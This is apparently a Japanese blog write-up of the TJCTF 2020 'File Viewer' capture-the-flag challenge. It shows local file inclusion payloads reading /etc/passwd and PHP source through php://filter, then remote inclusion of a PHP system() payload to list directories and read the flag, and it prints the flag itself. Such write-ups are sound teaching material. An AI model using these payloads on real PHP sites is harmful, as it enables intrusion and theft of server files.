はまやんはまやんはまやん

hamayanhamayan's blog

File Viewer [TJCTF 2020]

Written by saisree
So I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
http://file_viewer.tjctf.org/
Hint: The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?

f:id:hamayanhamayan:20200527214841p:plain

ファイルが閲覧できる。ファイル名を入力すると対応するファイルが見られる。
/reader.php?file=apple.txtみたいなURLになっている。
ディレクトリトラバーサル、LFIかな?

調査過程で分かること

  • x-powered-by: PHP/7.2.31
    • 超最新
  • /usr/sbin/apache2

LFI

とりあえず、色々試してみる

  • /reader.php?file=/etc/passwd
    • いつものやつ。ちゃんと出てくるが、特に気になることはない。
  • /reader.php?file=php://filter/convert.base64-encode/resource=index.php
    • ダメ
  • /reader.php?file=php://filter/convert.base64-encode/resource=reader.php
    • 出てくる。抜粋すると以下のような感じ。 php <?php $file = $_GET['file']; include($file); ?>

ん?include?
外部からphpコードが差し込めそう。

RCE

<?php system("ls -la ./"); ?>
このファイルを用意して、外部で差し込む。

dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 .
drwxr-xr-x 1 root     root     4096 May 15 12:41 ..
-r--r--r-- 1 root     root       44 May 18 15:32 apple.txt
-r--r--r-- 1 root     root       74 May 24 15:12 grape.txt
dr-xr-xr-x 1 root     root     4096 May 24 15:12 i_wonder_whats_in_here
-r--r--r-- 1 root     root     3012 May 18 15:32 index.html
-r--r--r-- 1 root     root       27 May 18 15:32 orange.txt
-r--r--r-- 1 root     root       49 May 18 15:32 pear.txt
-r--r--r-- 1 root     root       27 May 18 15:32 pinneaple.txt
-r--r--r-- 1 root     root     2532 May 18 15:32 reader.php
-r--r--r-- 1 root     root       22 May 18 15:32 watermelon.txt

成功してますね。i_wonder_whats_in_hereという謎のディレクトリがある。

<?php system("ls -la ./i_wonder_whats_in_here"); ?>

dr-xr-xr-x 1 root     root     4096 May 24 15:12 .
dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 ..
-r--r--r-- 1 root     root       47 May 24 15:12 flag.php

ほうほう。

<?php system("cat i_wonder_whats_in_here/flag.php"); ?>

<?php
    // tjctf{n1c3_j0b_with_lf1_2_rc3}
?>

Capture The Flag.